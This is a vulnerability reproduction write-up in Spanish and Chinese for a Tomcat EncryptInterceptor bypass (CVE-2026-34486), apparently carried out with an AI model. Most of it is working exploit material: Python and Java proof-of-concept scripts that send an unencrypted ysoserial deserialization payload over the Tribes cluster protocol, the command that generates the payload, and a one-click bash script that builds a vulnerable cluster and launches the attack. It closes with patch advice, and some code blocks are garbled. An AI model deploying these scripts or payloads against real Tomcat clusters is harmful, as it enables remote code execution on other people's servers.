
CVE-2026-34486 Apache Tomcat EncryptInterceptor bypass vulnerability reproduction (reproduction completed using GLM5.1)
| Atributo | Detalles |
|---|
| ID de CVE | CVE-2026-34486 |
| Gravedad | Importante / Alta (CVSS 3.1: 7.5) |
| Tipo de vulnerabilidad | CWE-311 Falta de cifrado de datos sensibles / CWE-807 Restricciones de entrada no confiable |
| Versiones afectadas | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| Versiones corregidas | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| Causa raíz | super.messageReceived(msg) en EncryptInterceptor.messageReceived() se movió fuera del bloque try-catch |
Al corregir CVE-2026-29146 (Padding Oracle), los desarrolladores refactorizaron el método EncryptInterceptor.messageReceived(), moviendo super.messageReceived(msg) del interior del bloque try al exterior:
Antes de la corrección (seguro):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**Código vulnerable (peligroso):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
Verificación de bytecode (del EncryptInterceptor.class de Tomcat 9.0.116):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## 2. Entorno de reproducción
| Componente | Versión/Configuración |
|---|---|
| Sistema operativo | Ubuntu 22.04 (entorno sandbox) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (versión vulnerable) |
| Biblioteca Gadget | Commons Collections 3.1 |
| Herramienta de ataque | ysoserial v0.0.6 + PoC personalizado en Python/Java |
### Topología del entorno```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### Paso 2: Instalar la biblioteca Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
Edite tomcat-node1/conf/server.xml, dentro de <Engine> agregue:```xml
> 注意: `encryptionKey` 必须是十六进制字符串格式(如 `546869734973415365637265744B6579` = "ThisIsASecretKey" 的 ASCII 十六进制),不能是明文字符串。
### 步骤 4:启用 Session 复制
在 `webapps/ROOT/WEB-INF/web.xml` 中添加:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**Confirmación del registro de inicio real:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### Paso 7: Construir y enviar mensajes del protocolo Tribes
Los mensajes de Tribes requieren un formato de encapsulación de trama XByteBuffer específico:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
其中 ChannelData 载荷结构:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**Clave**: el cuerpo del mensaje se coloca directamente en un payload de serialización Java sin cifrar, y ese es el núcleo de la explotación: EncryptInterceptor intentará descifrarlo y, tras el fallo, seguirá pasando los bytes originales a la cadena posterior.
#### Método uno: script PoC en Python (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)
def build_member_data(host_bytes, port):
"""构造 MemberImpl 序列化数据"""
inner = b""
inner += struct.pack(">q", 0) # memberAliveTime (8B)
inner += struct.pack(">i", port) # port (4B)
inner += struct.pack(">i", 0) # securePort (4B)
inner += struct.pack(">i", 0) # udpPort (4B)
inner += struct.pack(">b", len(host_bytes)) # hostLen (1B)
inner += host_bytes # host
inner += struct.pack(">i", 0) # commandLen (4B)
inner += struct.pack(">i", 0) # domainLen (4B)
inner += os.urandom(16) # uniqueId (16B)
inner += struct.pack(">i", 0) # payloadLen (4B)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
"""构造 ChannelData 载荷"""
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
channel_data = b""
channel_data += struct.pack(">i", 0) # options (无 ACK)
channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
channel_data += struct.pack(">i", len(unique_id)) # uniqueIdLen
channel_data += unique_id # uniqueId
channel_data += struct.pack(">i", len(member_data)) # memberDataLen
channel_data += member_data # memberData
channel_data += struct.pack(">i", len(message_body)) # messageLen
channel_data += message_body # message body
return channel_data
def build_tribes_packet(channel_data):
"""封装 XByteBuffer 帧"""
return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
print(f"[*] 目标: {target_ip}:{target_port}")
print(f"[*] Payload: {payload_file}")
# 读取 payload
with open(payload_file, 'rb') as f:
raw_payload = f.read()
print(f"[*] Payload 大小: {len(raw_payload)} bytes")
print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")
if raw_payload[:2] != b'\xac\xed':
print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")
# 解析目标 IP 为字节数组
host_bytes = socket.inet_aton(target_ip)
# 构造 Tribes 消息
# 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
# 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = build_tribes_packet(channel_data)
print(f"[*] 完整数据包大小: {len(packet)} bytes")
print(f"[*] 连接到 {target_ip}:{target_port}...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
print(f"[*] 发送 {len(packet)} 字节的数据包...")
sock.sendall(packet)
print("[+] 数据包发送成功!")
print("[*] 等待目标处理...")
# 等待可能的响应或 ACK
try:
response = sock.recv(4096)
if response:
print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
except socket.timeout:
pass
sock.close()
print("[+] 连接关闭")
print()
print("[*] 漏洞触发标志:")
print(" 1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
print(" 2. 随后发生反序列化 -> RCE")
print(" 3. 没有反序列化异常日志(静默执行)")
except ConnectionRefusedError:
print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
sys.exit(1)
except Exception as e:
print(f"[-] 错误: {e}")
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
print(f" {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
payload_file = sys.argv[3]
receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port
if not os.path.exists(payload_file):
print(f"[-] Payload 文件不存在: {payload_file}")
sys.exit(1)
send_exploit(target_ip, target_port, payload_file, receiver_port)
Método de uso:```bash python3 exploit.py 172.24.0.7 4000 payload_touch.bin
#### Método 2: Script PoC en Java (`ExploitSender.java`)```java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;
import java.io.Serializable;
/**
* CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
* 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
* 解密失败后,原始未加密字节仍被传递给后续处理链
*/
public class ExploitSender {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
System.exit(1);
}
String targetHost = args[0];
int targetPort = Integer.parseInt(args[1]);
String payloadFile = args.length > 2 ? args[2] : null;
System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
System.out.println("[*] 目标: " + targetHost + ":" + targetPort);
// 读取 payload
java.io.File f = new java.io.File(payloadFile);
java.io.FileInputStream fis = new java.io.FileInputStream(f);
byte[] payload = new byte[(int) f.length()];
fis.read(payload);
fis.close();
System.out.println("[*] Payload 大小: " + payload.length + " bytes");
System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));
// 直接通过 TCP 发送 Tribes 格式的消息
// 构造 ChannelData 数据包
java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
java.io.OutputStream out = sock.getOutputStream();
// 使用 Tribes 内部格式发送
// XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33}; // "TLF003"
// 构造 ChannelData 载荷
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);
// options (4B)
dos.writeInt(0);
// timestamp (8B)
dos.writeLong(System.currentTimeMillis());
// uniqueId length + uniqueId (4B + 16B)
byte[] uniqueId = new byte[16];
new java.util.Random().nextBytes(uniqueId);
dos.writeInt(uniqueId.length);
dos.write(uniqueId);
// member data - 构造最小的 MemberImpl
java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);
byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();
// MemberImpl inner data
java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
innerDos.writeLong(0); // memberAliveTime
innerDos.writeInt(targetPort); // port
innerDos.writeInt(0); // securePort
innerDos.writeInt(0); // udpPort
byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
innerDos.writeByte(hostBytes.length); // hostLen
innerDos.write(hostBytes); // host
innerDos.writeInt(0); // commandLen
innerDos.writeInt(0); // domainLen
innerDos.write(new byte[16]); // uniqueId (16B)
innerDos.writeInt(0); // payloadLen
innerDos.flush();
byte[] innerData = innerBaos.toByteArray();
// Full member data
memberDos.write(TRIBES_MBR_BEGIN);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.writeInt(innerData.length);
memberDos.write(innerData);
memberDos.write(TRIBES_MBR_END);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.flush();
byte[] memberData = memberBaos.toByteArray();
// Write member data length + data
dos.writeInt(memberData.length);
dos.write(memberData);
// Write message body length + payload (未加密的序列化数据)
dos.writeInt(payload.length);
dos.write(payload);
dos.flush();
byte[] channelData = baos.toByteArray();
// 构造完整帧
java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
frameBaos.write(START_DATA);
// length as 4 bytes big-endian
frameBaos.write(new byte[]{
(byte) ((channelData.length >> 24) & 0xFF),
(byte) ((channelData.length >> 16) & 0xFF),
(byte) ((channelData.length >> 8) & 0xFF),
(byte) (channelData.length & 0xFF)
});
frameBaos.write(channelData);
frameBaos.write(END_DATA);
byte[] packet = frameBaos.toByteArray();
System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
System.out.println("[*] 发送数据包...");
out.write(packet);
out.flush();
System.out.println("[+] 数据包发送成功!");
// 等待响应
Thread.sleep(2000);
sock.close();
System.out.println("[+] 连接关闭");
}
}
Compilación y ejecución:```bash
javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java
java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin
### Paso 8: Verificar la activación de la vulnerabilidad
**Registro de la víctima (fallo de descifrado + mensaje aún entregado):**```
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
...
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)
Verificación exitosa de RCE (archivo de marca creado):``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
---
## 四、Cadena de explotación completa ilustrada
---```
攻击者
│
│ TCP 连接到 172.24.0.7:4000
│ 发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
│ ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
│
▼
NioReceiver
│ 解帧: 识别 FLT2002/TLF003,提取 ChannelData
│ ChannelData.getDataFromPackage() 解析消息
▼
ChannelCoordinator.messageReceived()
│ 沿拦截器链向上传递
▼
TcpFailureDetector.messageReceived()
▼
EncryptInterceptor.messageReceived() ← 漏洞点
│
│ try {
│ data = msg.getMessage().getBytes(); // 获取 payload 原始字节
│ data = encryptionManager.decrypt(data); // ❌ 解密失败!
│ // → 抛出 IllegalBlockSizeException
│ } catch (GeneralSecurityException gse) {
│ log.error("Failed to decrypt message"); // 仅记录日志
│ // 异常被吞,执行流继续
│ }
│
│ super.messageReceived(msg); ← 💀 在 try-catch 外,仍会执行!
│ msg 中仍是攻击者的原始字节
▼
MessageDispatchInterceptor.messageReceived()
▼
GroupChannel.messageReceived()
│ 反序列化: ObjectInputStream.readObject() ← 无类过滤!
▼
CommonsCollections6 Gadget Chain 执行
│ Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
▼
RCE 成功 ✅
Descompilado de EncryptInterceptor.class de Tomcat 9.0.116:
| Desplazamiento | Instrucción | Significado |
|---|---|---|
| 0-38 | Contenido del bloque try | decrypt() + reemplazo del cuerpo del mensaje |
| 39 | goto 60 | Salto al final normal del bloque try |
| 42-58 | Bloque catch | Captura GeneralSecurityException, solo log.error |
| 60 | aload_0, aload_1 | Carga this y msg |
| 62 | invokespecial #136 | super.messageReceived(msg) |
Tabla de excepciones: from=0, to=39, target=42 — el desplazamiento 60 está claramente fuera del alcance del try.
| Evidencia | Contenido |
|---|---|
| Registro de fallo de descifrado | SEVERE: Failed to decrypt message + IllegalBlockSizeException |
| Archivo indicador de RCE | /tmp/CVE-2026-34486-PWNED creado el Apr 15 03:46 |
| Registro de excepción de deserialización | Ninguno — el payload se ejecuta silenciosamente |
En los registros solo aparece una entrada SEVERE de EncryptInterceptor.decrypt.failed, sin ninguna excepción de deserialización. Esto significa:
Actualice a la versión corregida: Tomcat 9.0.117 / 10.1.54 / 11.0.21.
Método de corrección: mover super.messageReceived(msg) de vuelta dentro del bloque try, garantizando que solo los mensajes descifrados correctamente se transmitan.
Si no puede actualizar de inmediato:
ObjectInputFilter a nivel de JVM para restringir las clases deserializablestomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh
rm -f /tmp/CVE-2026-34486-PWNED
rm -rf tomcat-lab/
---
## 8. Resumen
CVE-2026-34486 es una vulnerabilidad de regresión de alto riesgo introducida por **un desplazamiento de una línea de código**. Ilustra perfectamente la regla de que "la propia corrección de seguridad puede introducir nuevas vulnerabilidades de seguridad":
1. **Corrección de Padding Oracle (CVE-2026-29146)** → Refactorización del gestor de cifrado
2. **Desplazamiento de código durante la refactorización** → `super.messageReceived(msg)` se movió fuera del bloque try
3. **El interceptor de cifrado queda completamente inoperativo** → Los bytes sin cifrar se pasan directamente a la entrada de deserialización sin filtros
4. **Resultado**: El clúster que deliberadamente habilitó la protección de cifrado se convierte en el objetivo más vulnerable a ataques RCE
Esta reproducción validó por completo toda la cadena, desde el envío de un payload sin cifrar hasta la ejecución exitosa de RCE, demostrando la explotabilidad real de esta vulnerabilidad.
---
## 9. Script de reproducción con un solo clic
> El siguiente script puede completar la reproducción completa de CVE-2026-34486 en una máquina Ubuntu/Debian nueva con un solo clic. El script detecta e instala automáticamente las dependencias (JDK, Python3), descarga la versión vulnerable de Tomcat, configura el clúster + EncryptInterceptor, genera el payload, envía el ataque y finalmente muestra los resultados de verificación.
>
> **Cómo usarlo**: Guárdelo como `cve-2026-34486-repro.sh`, ejecute `chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh````bash
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================
set -e
# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"
# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
info() { echo -e "${CYAN}[*]${NC} $1"; }
ok() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
fail() { echo -e "${RED}[-]${NC} $1"; exit 1; }
# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."
# 检测 root
if [ "$EUID" -ne 0 ]; then
fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi
# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1
# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"
# 验证 Python3
python3 --version
ok "Python3 已就绪"
# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"
# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."
TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"
wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"
tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"
# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."
wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"
# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."
wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"
# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."
# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys
with open(sys.argv[1], 'r') as f:
xml = f.read()
# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)
# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionAlgorithm="AES/CBC/PKCS5Padding"
encryptionKey="''' + sys.argv[4] + '''"/>
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
selectorTimeout="5000" maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
'''
# 替换被注释的 Cluster 占位符
xml = re.sub(
r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
cluster_xml,
xml,
flags=re.DOTALL
)
with open(sys.argv[1], 'w') as f:
f.write(xml)
PYEOF
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node1/conf/server.xml" \
"$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node2/conf/server.xml" \
"$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"
ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"
# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
mkdir -p "$node/webapps/ROOT/WEB-INF"
cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"
# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."
chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh
export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"
info "等待集群启动 (15秒)..."
sleep 15
# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"
# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"
# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."
# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi
$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
CommonsCollections6 "touch ${RCE_MARKER}" \
> "$WORKDIR/payload_touch.bin" 2>/dev/null
if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"
# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time
START_DATA = b"FLT2002"
END_DATA = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END = b"TRIBES-E\x01\x00"
def build_member_data(host_bytes, port):
inner = b""
inner += struct.pack(">q", 0)
inner += struct.pack(">i", port)
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += struct.pack(">b", len(host_bytes))
inner += host_bytes
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += os.urandom(16)
inner += struct.pack(">i", 0)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
cd = b""
cd += struct.pack(">i", 0)
cd += struct.pack(">q", int(time.time() * 1000))
cd += struct.pack(">i", len(unique_id))
cd += unique_id
cd += struct.pack(">i", len(member_data))
cd += member_data
cd += struct.pack(">i", len(message_body))
cd += message_body
return cd
def send_exploit(target_ip, target_port, payload_file, receiver_port):
with open(payload_file, 'rb') as f:
raw_payload = f.read()
host_bytes = socket.inet_aton(target_ip)
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.sendall(packet)
try:
sock.recv(4096)
except socket.timeout:
pass
sock.close()
if __name__ == '__main__':
send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT
chmod +x "$WORKDIR/exploit.py"
# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"
